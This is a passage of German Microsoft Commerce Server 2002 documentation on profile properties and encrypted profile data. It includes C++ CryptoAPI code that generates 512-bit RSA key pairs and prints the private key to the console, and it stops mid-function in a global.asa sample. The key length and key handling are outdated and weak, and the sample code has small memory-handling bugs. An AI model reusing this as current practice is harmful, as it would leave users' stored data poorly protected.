  4. Erweitern Sie im Dialogfeld Datenquellenauswahl die Datenquelle, die das Datenobjekt mit dem Datenelement enthält, dem Sie die Eigenschaft zuordnen möchten.
  5. Erweitern Sie das Datenobjekt, das das Datenelement enthält, dem Sie die Eigenschaft zuordnen möchten, wählen Sie das Datenelement aus, und klicken Sie dann auf OK.
  6. Geben Sie im Abschnitt Erweiterte Attribute des Profil-Designer-Fensters durch Auswählen von Exportiert an, dass diese Eigenschaft in das Commerce Server Data Warehouse exportiert wird. Nur zugeordnete Eigenschaften können exportiert werden.

    Hinweis

    • Der Export von mehrwertigen Eigenschaften mit dem Eigenschaftstyp Boolesch sowie von Eigenschaften des Typs Binärwert, Lange Zeichenfolge und Kennwort ist nicht möglich.
  7. Klicken Sie auf Übernehmen.

Die Profileigenschaftsdaten werden im vorgesehenen Datenelement gespeichert und in das Data Warehouse importiert.

Wenn Sie für den Import der Daten in das Data Warehouse einen Speicherort angeben möchten, müssen Sie der Profildefinition das benutzerdefinierte Attribut DWClassName und der Profileigenschaft das benutzerdefinierte Attribut DWMemberName hinzufügen.

Siehe auch

Benutzerdefinierte Attribute für Profileigenschaften

Erstellen einer Profildefinition mit zwei Datenquellen


Hinzufügen von Eigenschaften zu Profildefinitionen in der Profilressource

Mit der Profilressource können Sie einer Profildefinition eine neue Eigenschaft, neue Eigenschaftsgruppen und benutzerdefinierte Attribute hinzufügen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Hinzufügen einer neuen Eigenschaft zu einer Profildefinition
  • Hinzufügen einer neuen Eigenschaftsgruppe zu einer Profildefinition
  • Hinzufügen eines benutzerdefinierten Attributs zu einer Profileigenschaft


Hinzufügen einer neuen Eigenschaft zu einer Profildefinition

Mit der Profilressource fügen Sie Profildefinitionen Eigenschaften hinzu. Eigenschaften bestimmen, welche Daten mit der Profildefinition gesammelt werden. Wenn Sie z. B. eine Profildefinition des Typs Adresse erstellen, fügen Sie ihr eine Eigenschaft mit dem Namen Ort hinzu. (Sie können Profildefinitionen auch Eigenschaften hinzufügen, indem Sie das Modul "Profil-Designer" in Commerce Server Business Desk verwenden. Informationen zum Verwenden des Moduls "Profil-Designer" finden Sie unter Business Desk-Benutzer.)

So fügen Sie einer Profildefinition eine neue Eigenschaft hinzu

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, und klicken Sie dann auf die Profildefinition, der Sie eine Eigenschaft hinzufügen möchten.
  2. Wählen Sie im Profil-Designer-Fenster in der Liste Eigenschaften die Eigenschaftsgruppe aus, mit der Sie die hinzugefügte Eigenschaft verknüpfen möchten, und klicken Sie auf Hinzufügen.
  3. Wählen Sie im Dialogfeld Hinzufügen die Option Neue Eigenschaft hinzufügen aus, und klicken Sie anschließend auf OK.
  4. Nehmen Sie im Profil-Designer-Fenster im Abschnitt Attribute die folgenden Einstellungen vor:
    Option | Aktion
    Name | Geben Sie den programmtechnischen Namen der Eigenschaft ein. Der Name kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Geben Sie den Namen ein, der in Business Desk angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung für die Eigenschaft ein. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
    Typ | Wählen Sie den Eigenschaftstyp in der Dropdownliste aus. Der Standardeigenschaftstyp ist Zeichenfolge.
    Typverweis | Ist für den Sitebegriff und die Profiltypen erforderlich. Klicken Sie auf die Schaltfläche mit den Auslassungspunkten [...], um den Sitebegriff bzw. das Profil auszuwählen, der bzw. das der Eigenschaftsdefinition hinzugefügt werden soll. Diese Funktion steht nur zur Verfügung, wenn Sie Sitebegriff bzw. Profil für den Eigenschaftstyp ausgewählt haben.
  5. Klicken Sie im Profil-Designer-Fenster im Abschnitt Erweiterte Attribute auf Aktiv, um anzugeben, dass diese Eigenschaft in Business Desk verfügbar sein soll. Inaktive Eigenschaften werden in Business Desk nicht angezeigt.
  6. Klicken Sie im Feld Daten zuordnen auf die Schaltfläche mit den Auslassungspunkten [...], um das Dialogfeld Datenquellenauswahl zu öffnen.
  7. Erweitern Sie im Dialogfeld Datenquellenauswahl die Datenquelle, die das Datenobjekt mit dem Datenelement enthält, dem Sie die Eigenschaft zuordnen möchten.
  8. Erweitern Sie das Datenobjekt, das das Datenelement enthält, dem Sie die Eigenschaft zuordnen möchten, wählen Sie das Datenelement aus, und klicken Sie dann auf OK.
  9. Nehmen Sie im Profil-Designer-Fenster im Abschnitt Erweiterte Attribute die folgenden Einstellungen vor:
    Option | Aktion
    Schlüsseltyp | Wählen Sie in der Dropdownliste einen Schlüsseltyp aus. Für jede Profildefinition ist eine Primärschlüsseleigenschaft und eine Verbindungsschlüsseleigenschaft erforderlich. Alternativ kann auch eine Eigenschaft als dualer (d. h. als Primär- und Verbindungs-) Schlüssel fungieren.
    Erforderlich | Legt fest, dass diese Eigenschaft in der Website und in Business Desk erforderlich ist. Dieses Attribut wird jedoch von der Profilressource nicht erzwungen. Wenn Sie einen Schlüsseltyp ausgewählt haben, ist dieses Attribut schreibgeschützt.
    Exportiert Wählen Sie diese Option aus, um festzulegen, dass diese Eigenschaft in das Data Warehouse von Commerce Server importiert wird. Nur zugeordnete Eigenschaften können exportiert werden.

    Der Export von mehrwertigen Eigenschaften mit dem Eigenschaftstyp Boolesch sowie von Eigenschaften des Typs Binärwert, Lange Zeichenfolge und Kennwort ist nicht möglich.
    Laden in den Zwischenspeicher verzögern | Wählen Sie diese Option aus, um festzulegen, dass diese Eigenschaft beim Abrufen des Profils zuerst nicht geladen wird. Die Eigenschaft wird erst geladen, wenn auf sie zugegriffen wird.
    Mehrwertig | Wählen Sie diese Option aus, um das Sammeln von mehreren Werten zu ermöglichen, die mit der Eigenschaft verknüpft sind. Wenn Sie einen Schlüsseltyp für die Eigenschaft ausgewählt haben, ist dieser Wert nicht verfügbar.
    Suche aktivieren | Wählen Sie diese Option aus, um festzulegen, dass diese Eigenschaft im zugrunde liegenden Datenspeicher indiziert ist und mit der Funktion Suchen nach durchsucht werden kann.
    RDN | Gibt den RDN (Relative Distinguished Name) für einen Verzeichnisspeicher an. Legen Sie diesen Wert fest, wenn die Eigenschaft einem Attribut des Typs RDN einer LDAP-Klasse im zugrunde liegenden Speicher zugeordnet ist.
    Hashschlüssel Wählen Sie diese Option aus, um festzulegen, dass diese Eigenschaft zum Verteilen von Profilinstanzen auf mehrere Datenquellenpartitionen verwendet wird.

    Bei nicht partitionierten Datenquellen ist diese Eigenschaft schreibgeschützt. Zum Abrufen von Profilen müssen Sie eine Abfrage nach diesem Schlüssel durchführen.
  10. Klicken Sie auf Übernehmen.
  11. Klicken Sie zum Speichern der Profildefinition auf der Symbolleiste auf [image].

Die Profildefinition wird mit der neuen Eigenschaft gespeichert.


Hinzufügen einer neuen Eigenschaftsgruppe zu einer Profildefinition

Sie können neue Eigenschaftsgruppen erstellen, um die Eigenschaften zu organisieren. Wenn Sie einer Profildefinition des Typs Benutzer z. B. 50 Eigenschaften hinzufügen, die vier verschiedenen Kategorien angehören (z. B. Lebensstil, Meinung, Ausbildung und Vorlieben), können Sie für jede der vier Kategorien eine Eigenschaftsgruppe erstellen und die Eigenschaften, die den einzelnen Kategorien angehören, in die entsprechende Eigenschaftsgruppe einordnen. Sie können wählen, ob die Eigenschaften für die einzelnen Eigenschaftsgruppen ein- oder ausgeblendet werden sollen.

So fügen Sie einer Profildefinition eine neue Eigenschaftsgruppe hinzu

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, und klicken Sie dann auf die Profildefinition, der Sie eine Eigenschaftsgruppe hinzufügen möchten.
  2. Klicken Sie im Profil-Designer-Fenster auf Hinzufügen.
  3. Wählen Sie im Dialogfeld Hinzufügen die Option Neue Gruppe hinzufügen aus, und klicken Sie dann auf OK.
  4. Nehmen Sie im Profil-Designer-Fenster im Abschnitt Attribute die folgenden Einstellungen vor:
    Option | Aktion
    Name | Geben Sie den programmtechnischen Namen für die Eigenschaftsgruppe ein. Der Name kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Geben Sie den Namen ein, der in Business Desk angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung der Eigenschaft ein. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
  5. Klicken Sie auf Übernehmen.
  6. Klicken Sie zum Speichern der Profildefinition auf der Symbolleiste auf [image].

Die Profildefinition wird mit der neuen Eigenschaftsgruppe gespeichert. Sie können Eigenschaften in die Gruppe verschieben oder der Gruppe neue Eigenschaften hinzufügen.


Hinzufügen eines benutzerdefinierten Attributs zu einer Profileigenschaft

Die Profilressource versieht jede Eigenschaft mit Attributen, in denen spezielle Merkmale der Eigenschaft gespeichert werden, z. B. der Eigenschaftsname (Ort) und der Eigenschaftstyp (Zeichenfolge). Zusätzlich zu den von der Profilressource zur Verfügung gestellten Eigenschaftsattributen können Sie auch benutzerdefinierte Attribute für Eigenschaften definieren. Sie können z. B. ein benutzerdefiniertes Attribut erstellen, durch das gesteuert wird, wie eine Eigenschaft in einer Website verwendet wird.

Wenn Sie beispielsweise auf das virtuelle Verzeichnis für Schaltelemente (Widgets) zugreifen möchten, um die Profildefinitionen einer Site zu ändern, für die SSL (Secure Socket Layers) aktiviert ist, wechseln Sie zu HTTPS.

So fügen Sie einer Profileigenschaft ein benutzerdefiniertes Attribut hinzu

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, und klicken Sie dann auf die Profildefinition, die die Eigenschaft enthält, der Sie ein benutzerdefiniertes Attribut hinzufügen möchten.
  2. Wählen Sie im Profil-Designer-Fenster in der Liste Eigenschaften die Eigenschaft aus, der Sie ein benutzerdefiniertes Attribut hinzufügen möchten.
  3. Klicken Sie im Profil-Designer-Fenster im Abschnitt Benutzerdefinierte Attribute auf Neu.
  4. Nehmen Sie im Profil-Designer-Fenster im Abschnitt Benutzerdefinierte Attribute die folgenden Einstellungen vor:
    Option | Aktion
    Name | Geben Sie einen programmtechnischen Namen für das benutzerdefinierte Attribut ein. Der Name kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Geben Sie den Namen ein, der für das Attribut angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung für das Attribut ein. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
    Wert | Geben Sie den Wert ein, der dem Attribut zugewiesen werden soll.
  5. Klicken Sie auf Annehmen und anschließend auf Übernehmen.
  6. Klicken Sie zum Speichern der Profildefinition auf der Symbolleiste auf Speichern.

Die Profildefinition wird mit dem benutzerdefinierten Attribut gespeichert.


Verwalten von verschlüsselten Profileigenschaften

In diesem Thema werden viele der Komponenten beschrieben, die zum Erstellen einer Site erforderlich sind, in der die Sicherheit wichtiger Daten verwaltet wird. Ein Bereich, der in diesem Abschnitt nicht thematisiert wird, ist die Schlüsselverwaltung.

Wichtig

  • Commerce Server verfügt nicht über ein Schlüsselverwaltungssystem. Sie müssen ein Schlüsselverwaltungssystem entwerfen und erstellen, das die zum Verschlüsseln benötigten öffentlichen und privaten Schlüssel erzeugen, speichern und abrufen kann. Um die Sicherheit der Anwendung zu gewährleisten, müssen Sie dieses wichtige Problem entsprechend lösen.

In Commerce Server 2002 wird die Verschlüsselung von Profileigenschaften durch die Unterstützung der asymmetrischen Verschlüsselung und unidirektionaler Hashfunktionen ermöglicht.

Zum Verwenden der asymmetrischen Verschlüsselung gehen Sie i. d. R. wie folgt vor:

  • Fügen Sie verschlüsselbare Profileigenschaften mit Business Desk hinzu.
  • Erstellen Sie öffentliche und private Schlüssel.
  • Ändern Sie den Anwendungscode, um:
    • dem Profildienst und dem OLE DB-Provider für Commerce Server die im Verschlüsselungsprozess verwendeten Token bereitzustellen
    • Eigenschaften zu verschlüsseln
    • Eigenschaften zu entschlüsseln
  • Migrieren Sie Daten zu einem neuen Paar aus öffentlichem und privatem Schlüssel. Die Datenmigration wird in diesem Thema nicht erläutert.

Unidirektionale Hashfunktionen werden zum Verschlüsseln von Daten verwendet, die nicht entschlüsselt werden müssen, z. B. Kennwörter. Nachdem die verschlüsselten Werte gespeichert wurden, können die Daten bei der Implementierung eines Zeichenfolgenvergleichs mithilfe eines Hash-Algorithmus mit den gespeicherten Werten verglichen werden.

Dieser Abschnitt beinhaltet folgende Themen:

  • Hinzufügen von verschlüsselten Eigenschaften zum Profildienst
  • Erstellen von öffentlichen und privaten Schlüsseln
  • Hinzufügen von Werten für die Token des öffentlichen Schlüssels, des privaten Schlüssels und des Schlüsselindexes
  • Erstellen und Abrufen einer Profilinstanz mit einer verschlüsselten Eigenschaft
  • Unidirektionale Hashfunktionen: Konvertieren und Vergleichen der Benutzereingabe mit dem Hashwert
  • Wichtige Hinweise zur Verschlüsselung von Profilschlüsseln


Hinzufügen von verschlüsselten Eigenschaften zum Profildienst

Die folgenden Verfahren dienen dazu, neue Profileigenschaften hinzuzufügen, die verschlüsselt werden können.

Vorsicht

  • Kennzeichnen Sie unter keinen Umständen Eigenschaften, für die bereits Daten vorhanden sind, als verschlüsselbar. Andernfalls gehen die bereits vorhandenen Daten verloren.

Schritt 1: Hinzufügen einer neuen Eigenschaft für den Schlüsselindex

Schritt 2: Hinzufügen eines benutzerdefinierten Attributs auf der Profilebene

Schritt 3: Hinzufügen von verschlüsselten Eigenschaften zu einem Profil

Schritt 1: Hinzufügen einer neuen Eigenschaft für den Schlüsselindex

  1. Öffnen Sie den Commerce Server-Manager.
  2. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profilkatalog und Profildefinitionen, und klicken Sie dann auf Benutzerobjekt.
  3. Klicken Sie im rechten Bereich in der Liste Eigenschaften auf Profilsystem.
  4. Klicken Sie im rechten Bereich auf Hinzufügen.
  5. Wählen Sie im Dialogfeld Hinzufügen – Webseite die Option Neue Eigenschaft hinzufügen aus.
  6. Klicken Sie auf OK.
  7. Geben Sie im Abschnitt Attribute Folgendes ein:
    Option | Aktion
    Name | Geben Sie den Namen ein (z. B. KeyIndex).
    Angezeigter Name | Geben Sie den Namen ein, der auf der Registerkarte Benutzerdefinierte Attribute angezeigt werden soll (z. B. KeyIndex).
    Beschreibung | Geben Sie die Beschreibung des benutzerdefinierten KeyIndex-Attributs ein.
    Typ | Wählen Sie Zahl aus.
    Typverweis | Lassen Sie diese Option leer. Keine der Optionen JoinKey, PrimaryKey, DualKey oder HashingKey darf ausgewählt werden.
  8. Klicken Sie in den Abschnitt Erweiterte Attribute, und geben Sie Folgendes ein:
    Option | Aktion
    Aktiv | Deaktivieren Sie das Kontrollkästchen Ja.
    Daten zuordnen | Klicken Sie auf die Schaltfläche mit den Auslassungspunkten [...], um ein Datenelement vom Typ Zahl zu erstellen, sofern dies nicht bereits geschehen ist.
  9. Klicken Sie auf Übernehmen und dann auf der Symbolleiste auf Speichern.

Schritt 2: Hinzufügen eines benutzerdefinierten Attributs auf der Profilebene

  1. Klicken Sie mit der rechten Maustaste auf das Profil (z. B. Benutzerobjekt), und wählen Sie Eigenschaften aus.
  2. Klicken Sie auf die Registerkarte Benutzerdefinierte Attribute.
  3. Klicken Sie auf Neu.
  4. Geben Sie im Dialogfeld Benutzerdefiniertes Attribut Folgendes ein:
    Option | Aktion
    Name | Geben Sie KeyIndex ein.
    Angezeigter Name | Geben Sie den anzuzeigenden Namen ein (z. B. KeyIndex).
    Beschreibung | Geben Sie die Beschreibung des benutzerdefinierten KeyIndex-Attributs ein.
    Wert Geben Sie KeyIndex ein.

    Der Eigenschaftsname muss mit dem zuvor in Schritt 1: Hinzufügen einer neuen Eigenschaft für den Schlüsselindex erstellten Profil übereinstimmen.
  5. Klicken Sie im Dialogfeld Benutzerdefiniertes Attribut auf OK.
  6. Klicken Sie im Dialogfeld Eigenschaften von Benutzerobjekt auf Übernehmen und dann auf OK.

Schritt 3: Hinzufügen von verschlüsselten Eigenschaften zu einem Profil

  1. Klicken Sie im rechten Bereich auf Hinzufügen.
  2. Wählen Sie im Dialogfeld Hinzufügen – Webseite die Option Neue Eigenschaft hinzufügen aus.
  3. Klicken Sie auf OK.
  4. Führen Sie im Bereich Attribute folgende Schritte aus:
    Option | Aktion
    Name | Geben Sie den Namen der Eigenschaft ein.
    Angezeigter Name | Geben Sie den anzuzeigenden Namen ein.
    Beschreibung | Geben Sie die Beschreibung des benutzerdefinierten KeyIndex-Attributs ein.
    Typ | Wählen Sie Kennwort oder Zeichenfolge aus.
  5. Führen Sie im Bereich Erweiterte Attribute folgende Schritte aus:
    Option | Aktion
    Daten zuordnen | Klicken Sie auf die Schaltfläche mit den Auslassungspunkten [...], um die Eigenschaft einem Datenelement zuzuordnen.
    Schlüsseltyp Lassen Sie diese Option leer.

    Der Schlüsseltyp darf nicht UniqueKey, JoinKey, PrimaryKey, DualKey oder HashingKey sein.
    Verschlüsselt | Wählen Sie in der Dropdownliste einen der Verschlüsselungstypen aus.
    Exportiert | Deaktivieren Sie das Kontrollkästchen Ja.
    Mehrwertig | Optional.
    Suche aktivieren | Deaktivieren Sie das Kontrollkästchen Ja.
    Hashschlüssel | Deaktivieren Sie das Kontrollkästchen Ja.

    Hinweis

    • Im Abschnitt Benutzerdefinierte Attribute können verschlüsselte Eigenschaften nicht als displaycolumn oder friendlyname gekennzeichnet werden (diese sind nur in den Profil-Editoren zu verwenden).
    • Auf der Eigenschaftsebene können Sie kein benutzerdefiniertes Attribut mit dem Namen EncryptedType (ohne Beachtung der Groß- und Kleinschreibung) erstellen.
    • Verschlüsselte Eigenschaften dürfen maximal 795 Unicode-Zeichen enthalten.
  6. Klicken Sie auf die Schaltfläche Übernehmen und dann auf der Symbolleiste auf Speichern.


Erstellen von öffentlichen und privaten Schlüsseln

In Commerce Server 2002 erfolgt die asymmetrische Verschlüsselung mithilfe des RSA-Algorithmus für den Austausch öffentlicher Schlüssel. Die Schlüssellänge beträgt 512 Bits, und als Kryptografiedienstanbieter (Cryptographic Service Provider, CSP) wird Microsoft Enhanced Cryptographic Provider verwendet.

Das folgende Codebeispiel veranschaulicht das Erstellen öffentlicher und privater Schlüssel unter Verwendung der CryptoAPI-Routinen von Microsoft Windows.

CryptoHelper.h
 #define _WIN32_WINNT 0x0400
#include <windows.h>
#include <wincrypt.h>
// Helper class definition to generate and export Public/Private keys
// for Asymmetric encryption. The semantics for usage are:
// Call AcquireContext with a container name, call
// GenerateKeyPair next and then  call ExportPublicKey or
// ExportPrivateKey.
class CryptoHelper
{
private:
       HCRYPTPROV    m_hCryptProv;
public:
       HCRYPTKEY     m_hCryptKey;
       CryptoHelper();
       ~CryptoHelper();
       HRESULT AcquireContext(LPCTSTR wszContainerName);
       HRESULT GenerateKeyPair();

       HRESULT ExportPublicKey(BYTE **ppPublicKey, DWORD &cbKeySize);;
       HRESULT ExportPrivateKey(BYTE **ppPrivateKey, DWORD &cbKeySize);
};
CryptoHelper.cpp

#include "CryptoHelper.h"
// The RSA public-key key exchange algorithm
#define ENCRYPT_ALGORITHM         CALG_RSA_KEYX
// The high order WORD 0x0200 (decimal 512)
// determines the key length in bits.
#define KEYLENGTH                 0x02000000
//--------------------------------------------------------------------
// The constructor initializes the member variables
// to NULL.
//--------------------------------------------------------------------
CryptoHelper::CryptoHelper()
{
       m_hCryptProv = NULL;
       m_hCryptKey   = NULL;
}
//--------------------------------------------------------------------
// The destructor releases the handles acquired
// when an object goes out of scope.
//--------------------------------------------------------------------
CryptoHelper::~CryptoHelper()
{
       if (m_hCryptProv)
       {
              CryptReleaseContext(m_hCryptProv,0);
              m_hCryptProv = NULL;
       }
       if (m_hCryptKey)
              m_hCryptKey = NULL;
}

//--------------------------------------------------------------------
// This method calls the CryptAcquireContext function
// to get a handle to a key container owned by the the
// Microsoft Enhanced Cryptographic Provider.
//--------------------------------------------------------------------
HRESULT CryptoHelper::AcquireContext(LPCTSTR wszContainerName)
{
       HRESULT       hr = S_OK;
       DWORD         dwErrCode;
// Release a previously acquired handle to the key container.
if (m_hCryptProv != NULL)
       {
              CryptReleaseContext(m_hCryptProv,0);
              m_hCryptProv = NULL;
       }
// Release a previously acquired handle to key-pair.
       if (m_hCryptKey != NULL)
              m_hCryptKey = NULL;
       // Attempt to acquire a context and a key container.
// The context will use Microsoft Enhanced Cryptographic
       // Provider for the RSA_FULL provider type.
       if(!CryptAcquireContext(&m_hCryptProv,
                               wszContainerName,
                               MS_ENHANCED_PROV,
                               PROV_RSA_FULL,
    CRYPT_MACHINE_KEYSET))
       {
         // An error occurred in acquiring the context. This could mean
         // that the key container requested does not exist. In this case,
        // the function can be called again to attempt to create a new key
              // container.
              if (GetLastError() == NTE_BAD_KEYSET)
              {
                     if(!CryptAcquireContext(&m_hCryptProv,
                                            wszContainerName,
                                            MS_ENHANCED_PROV,   PROV_RSA_FULL,
                                            CRYPT_MACHINE_KEYSET|CRYPT_NEWKEYSET))
                     {
                           dwErrCode = GetLastError();
                            return HRESULT_FROM_WIN32(dwErrCode);
                     }
              }
              else
              {
                     dwErrCode = GetLastError();
                     return HRESULT_FROM_WIN32(dwErrCode);
              }
       }
       return hr;
}
//--------------------------------------------------------------------

// This method calls the CryptGenKey function to get a handle to an

// exportable key-pair. The key-pair is  generated with the RSA public-key
// key exchange algorithm using Microsoft Enhanced Cryptographic Provider.
//--------------------------------------------------------------------
HRESULT CryptoHelper::GenerateKeyPair()
{
       HRESULT       hr = S_OK;
       DWORD         dwErrCode;
       // If the handle to key container is NULL, fail.
if (m_hCryptProv == NULL)
              return E_FAIL;
// Release a previously acquired handle to key-pair.
if (m_hCryptKey)
              m_hCryptKey = NULL;
       // Call the CryptGenKey method to get a handle
       // to a new exportable key-pair.
if(!CryptGenKey(m_hCryptProv,
                ENCRYPT_ALGORITHM,
   KEYLENGTH | CRYPT_EXPORTABLE,
   &m_hCryptKey))
       {
              dwErrCode = GetLastError();
              return HRESULT_FROM_WIN32(dwErrCode);
       }
       return hr;
}
//--------------------------------------------------------------------
// This method calls the CryptExportKey function to get the Public key
// in a byte array. The byte array is allocated on the heap and the size
// of this is returned to the caller. The caller is responsible for releasing // this memory using a delete call.
//--------------------------------------------------------------------
HRESULT CryptoHelper::ExportPublicKey(BYTE **ppPublicKey, DWORD &cbKeySize)
{
       HRESULT hr = S_OK;
       DWORD    dwErrCode;
       DWORD dwBlobLen;
       BYTE *pbKeyBlob = NULL;
       // If the handle to key container is NULL, fail.
       if (m_hCryptKey == NULL)
              return E_FAIL;
       // This call here determines the length of the key
       // blob.
       if(!CryptExportKey(
                 m_hCryptKey,
                 NULL,
                 PUBLICKEYBLOB,
                 0,
                 NULL,
                 &dwBlobLen))
       {
              dwErrCode = GetLastError();
              return HRESULT_FROM_WIN32(dwErrCode);
       }
       // Allocate memory for the pbKeyBlob.
       if((pbKeyBlob = new BYTE[dwBlobLen]) == NULL)
       {
              return E_OUTOFMEMORY;
       }
       // Do the actual exporting into the key BLOB.
       if(!CryptExportKey(
                 m_hCryptKey,
                 NULL,
                 PUBLICKEYBLOB,
                 0,
                 pbKeyBlob,
                 &dwBlobLen))
       {
              delete pbKeyBlob;
              dwErrCode = GetLastError();
              return HRESULT_FROM_WIN32(dwErrCode);
       }
       else
       {
               *ppPublicKey = pbKeyBlob;
               cbKeySize = dwBlobLen;
       }
       return hr;
}
//--------------------------------------------------------------------
// This method calls the CryptExportKey function to get the Private key
// in a byte array. The byte array is allocated on the heap and the size
// of this is returned to the caller. The caller is responsible for releasing // this memory using a delete call.
//--------------------------------------------------------------------
HRESULT CryptoHelper::ExportPrivateKey(BYTE **ppPrivateKey, DWORD &cbKeySize)
{
       HRESULT       hr = S_OK;
       DWORD         dwErrCode;
       DWORD dwBlobLen;
       BYTE *pbKeyBlob;
       // If the handle to key container is NULL, fail.
       if (m_hCryptKey == NULL)
              return E_FAIL;
       // This call here determines the length of the key
       // blob.
       if(!CryptExportKey(
                 m_hCryptKey,
                 NULL,
                 PRIVATEKEYBLOB,
                 0,
                 NULL,
                 &dwBlobLen))
       {
              dwErrCode = GetLastError();
              return HRESULT_FROM_WIN32(dwErrCode);
       }
       // Allocate memory for the pbKeyBlob.
       if((pbKeyBlob = new BYTE[dwBlobLen]) == NULL)
       {
              return E_OUTOFMEMORY;
       }

       // Do the actual exporting into the key BLOB.
       if(!CryptExportKey(
                 m_hCryptKey,
                 NULL,
                 PRIVATEKEYBLOB,
                 0,
                 pbKeyBlob,
                 &dwBlobLen))
       {
              delete pbKeyBlob;
              dwErrCode = GetLastError();
              return HRESULT_FROM_WIN32(dwErrCode);
       }
       else
       {
               *ppPrivateKey = pbKeyBlob;
               cbKeySize = dwBlobLen;
       }
       return hr;
}

Main.cpp
 #include <stdio.h>
#include "CryptoHelper.h"
void main()
{
       CryptoHelper  cryptoHlpr;
       BYTE          *pbPublicKey = NULL, *pbPrivateKey = NULL;
       DWORD         dwPublicKeySize = 0,dwPrivateKeySize = 0;
       HRESULT       hr = S_OK;
       // Get the key container context.
       if (FAILED(hr = cryptoHlpr.AcquireContext(L"TestContainer")))
       {
// Call FormatMessage to display the error returned in hr.
              return;
       }
        // Generate the public/private key pair.
if (FAILED(hr = cryptoHlpr.GenerateKeyPair()))
       {
// Call FormatMessage to display the error returned in hr.
              return;
       }
       // Export out the public key blob.
if (FAILED(hr = cryptoHlpr.ExportPublicKey(&pbPublicKey, dwPublicKeySize)))
       {
// Call FormatMessage to display the error returned in hr.
              return;
       }
       // Print out the public key to console as a
       // hexadecimal string.
wprintf(L"\n\nPublicKey = \"");
       for (DWORD i=0; i < dwPublicKeySize; i++)
       {
              wprintf(L"%02x",pbPublicKey[i]);
       }
       wprintf(L"\"\n");
       // Export out the private key blob.
       cryptoHlpr.ExportPrivateKey(&pbPrivateKey, dwPrivateKeySize);
       // Print out the private key to console as a
       // hexadecimal string.
       wprintf(L"\n\nPrivateKey = \"");
       for (i=0; i < dwPrivateKeySize; i++)
       {
              wprintf(L"%02x",pbPrivateKey[i]);
       }
       // Delete the public key blob allocated by the
// ExportPublicKey method.
if (pbPublicKey)
          delete [] pbPublicKey;
       // Delete the private key blob allocated by the
// ExportPrivateKey method.
       if (pbPrivateKey)
              delete [] pbPrivateKey;
       return;
}


Hinzufügen von Werten für die Token des öffentlichen Schlüssels, des privaten Schlüssels und des Schlüsselindexes

Der OLE DB Provider für Commerce Server ruft die CryptoAPI mithilfe der Werte für den öffentlichen und privaten Schlüssel auf. Die Tokenwerte für den öffentlichen Schlüssel, den privaten Schlüssel und den Schlüsselindex müssen den Verbindungszeichenfolgen des OLE DB Providers für Commerce Server manuell hinzugefügt werden, da dafür keine Benutzeroberflächentools zur Verfügung stehen. Beachten Sie, dass diese Werte nicht in der Verwaltungsdatenbank gespeichert werden. Sie selbst müssen für die Speicherung dieser Werte in einem ausreichend sicheren Speicher Sorge tragen.

Die folgenden Token sind erforderlich:

  • 1 Token des öffentliches Schlüssels (PublicKey)
  • 2 Token des privaten Schlüssels (PrivateKey1, PrivateKey2)
  • 1 Schlüsselindex (KeyIndex)

Mit dem Schlüsselindex wird bestimmt, welches Paar aus öffentlichem und privatem Schlüssel für die Entschlüsselung eines gegebenen Wertes verwendet wird. Der KeyIndex-Wert wird folgendermaßen ermittelt:

  • Wenn PublicKey zusammen mit PrivateKey1 verwendet wird, ist der KeyIndex-Wert gleich 1.
  • Wenn PublicKey zusammen mit PrivateKey2 verwendet wird, ist der KeyIndex-Wert gleich 2.

Tokeneinstellungen und die zurückgegebenen Datenwerte

Wenn die Verbindungszeichenfolge nicht im OLE DB Provider für Commerce Server angegeben ist, wird der verschlüsselte Wert der Eigenschaft zurückgegeben.

Ist die Verbindungszeichenfolge im OLE DB Provider für Commerce Server hingegen angegeben, wird der entschlüsselte Wert der Eigenschaft zurückgegeben.

Bei der Verschlüsselung von Daten müssen in der Verbindungszeichenfolge des OLE DB Providers für Commerce Server sowohl der öffentliche Schlüssel als auch der Schlüsselindex angegeben werden.

Wenn Sie innerhalb einer bestimmten Datenbankverbindung Werte sowohl verschlüsseln als auch entschlüsseln möchten, muss der Wert des privaten Schlüssels dem Wert des öffentlichen Schlüssels entsprechen. Darüber hinaus muss der Wert des privaten Schlüssels im entsprechenden Token angegeben werden. Wenn der KeyIndex-Wert beispielsweise gleich 2 ist, muss der private Schlüssel im PrivateKey2-Token angegeben werden.

Um der Verbindungszeichenfolge des OLE DB Providers für Commerce Server die Tokenwerte hinzuzufügen, müssen Sie in der Datei global.asa die folgenden Änderungen an der Funktion cnGetProviderConnection vornehmen. Der Profildienst erhält Zugriff auf diese Schlüssel durch Aufrufe des OLE DB Providers von Commerce Server.

Die ursprüngliche cnGetProviderConnection-Funktion:

Function cnGetProviderConnection(oSiteConfigObj)
              Dim cn
              Dim connstr
              ' -- ADO object state values
              const AD_STATE_CLOSED         = &H00000000
              connstr= sGetSiteConfigField(oSiteConfigObj, "Biz Data Service", "s_CommerceProviderConnectionString")
              set cn = Server.CreateObject("ADODB.Connection")
                          if (cn.State = AD_STATE_CLOSED) then
                            cn.Open CStr(connstr)
                            set cnGetProviderConnection = cn
              end if
End Function

Die bearbeitete cnGetProviderConnection-Funktion, in der die Schlüsseltoken hinzugefügt werden:

Function cnGetProviderConnection(oSiteConfigObj)
              Dim cn
              Dim connstr
              Dim publickey, privatekey1, privatekey2
              ' -- ADO object state values
